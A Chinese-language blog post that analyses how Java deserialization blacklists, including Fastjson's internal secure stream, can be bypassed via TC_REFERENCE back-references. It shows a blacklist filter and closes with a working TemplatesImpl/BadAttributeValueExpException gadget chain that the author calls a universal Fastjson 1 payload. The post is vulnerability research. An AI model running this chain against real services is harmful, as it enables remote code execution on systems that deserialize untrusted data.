azraelxuemo's Studio.

java反序列化引用绕过

2023/11/18

安全的反序列化

下面是一个常用的黑名单检测,利用resolveClass对反序列化的类进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class MyObjectInputStream extends ObjectInputStream {
private static final String[] blacklist = new String[]{"java\\.security.*", "java\\.rmi.*", "com\\.fasterxml.*", "com\\.ctf\\.*", "org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*"};

public MyObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if (!contains(cls.getName())) {
return super.resolveClass(cls);
} else {
throw new InvalidClassException("Unexpected serialized class", cls.getName());
}
}

public static boolean contains(String targetValue) {
String[] var1 = blacklist;
int var2 = var1.length;

for(int var3 = 0; var3 < var2; ++var3) {
String forbiddenPackage = var1[var3];
if (targetValue.matches(forbiddenPackage)) {
return true;
}
}

return false;
}
}

重写了resolveClass,在readNonProxyDesc里调用了resolveClass
截屏2023-11-15 22.34.36.png
大概的调用栈
截屏2023-11-17 09.20.38.png
在使用时我们也要保证,我们这个安全的ObjectInputStream也必须是反序列化的起始输入流,这样才能保证整个反序列化过程中的安全

1
2
ObjectInputStream objectInputStream = new MyObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();

不安全的反序列化

由于默认的ObjectInputStream没有相应的安全处理机制,任何类都可以被反序列化,所以存在安全隐患
而只要让ObjectInputStream作为反序列化的起始输入流,那么这个反序列化流很大程度上是不安全的。
这个场景其实很多地方都是存在的,对于我们自定义的一个反序列化类来说,我们无法控制用户在反序列化的时候使用的是安全还是非安全的ObjectInputStream,所以我们想做的就是在我们自己这个类里面增加一些安全机制,对应的就是Fastjson和我们的CC3.2.2之后的版本,对于CC来说,他通过重写了readObject来让默认情况下InvokeTransform这种不能被反序列化,这个机制来说是很安全的,但是对于Fastjson来说,实现的稍微有一点缺陷。
对于Fastjson来说,他相当于在readObject里面定义了一个安全的反序列化流
截屏2023-11-18 08.32.14.png
他重写了resolveClass和resolveProxyClass
截屏2023-11-18 08.43.21.png
readOrdinaryObject->readClassDesc->readNonProxyDesc->resolveClass
->readProxyDesc->resolveProxyClass
这个反序列化流的目的就是来检测JSONObject里面map里面保存的Object的安全性(String以及其他基础类型有自己对应的处理逻辑,不会进入readOrdinaryObject进而走到resolveCLass的逻辑)
截屏2023-11-18 08.40.33.png
表明上看起来这个方案确实天衣无缝,但是因为TC_REFERENCE的存在导致存在被绕过的可能
如果此时map里面的value是一个引用类型截屏2023-11-18 11.31.39.png
那么他会在readHandle里面进行处理,通过反序列化里的输入流,读出对应引用对象位于handles里的下标–passHandle,然后把对象直接取出来返回(这个过程中我没有找到可以Override的函数,所以我个人觉得无法处理这种引用类型)
截屏2023-11-18 11.32.23.png

利用

既然我们知道JSONObject这种是有缺陷的,那么怎么绕过呢
首先肯定要利用引用机制

1
2
3
4
5
emplatesImpl templates = new TemplatesImpl();
JSONObject jsonObject = new JSONObject();
jsonObject.put("a",templates);
serialize(jsonObject);
deserialize();

截屏2023-11-18 11.39.07.png
直接这样肯定会被拦截,因为我们这样写他不是一个引用值,那么我们要保证templates要在JSONObject之前就已经被反序列化出来了,那么我们需要利用到其他类,比如说ArrayList
先看一下他的序列化逻辑,他是按照elementData的下标,按照顺序进行序列化处理的
截屏2023-11-18 11.41.20.png
那么反序列化的时候,他也会按照顺序取出来
截屏2023-11-18 11.42.21.png
所以只要我们保证templates在JSONObject之前被add进ArrayList即可
(后面我把JSONObject换成JSONArray了,看起来跟ArrayList更贴合一点,但是处理逻辑都是类似的)

1
2
3
4
5
6
7
8
TemplatesImpl templates = new TemplatesImpl();
ArrayList arrayList = new ArrayList();
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
arrayList.add(templates);
arrayList.add(jsonArray);
serialize(arrayList);
deserialize();

在JSONArray去处理templates的时候,直接从readHandle里读出了templates,进而绕过check
截屏2023-11-18 12.11.31.png
下面就是fastjson1全版本通用反序列化payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
ArrayList arrayList = new ArrayList<>();
arrayList.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("a");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,jsonArray);
arrayList.add(badAttributeValueExpException);
serialize(arrayList);
deserialize();

根因

总结一下,为什么会出现这种引用绕过呢,我觉得有两个原因
1.因为java反序列化是从ObjectInputStream开始的,我们如果自定义一个ObjectInputStream,并设置自定义的ObjectInputStream为反序列化的入口,那么我们是可以获取到全部反序列化的过程,但是如果我们只是一个实现了Serializable的类,相当于我们只是反序列化的一个中间环节,我们无法控制那些在我们之前被反序列化出来的对象
2.ObjectInputStream没有提供可以Override方法来处理TC_REFERENCE这类情况

CATALOG
  1. 1. 安全的反序列化
  2. 2. 不安全的反序列化
  3. 3. 利用
  4. 4. 根因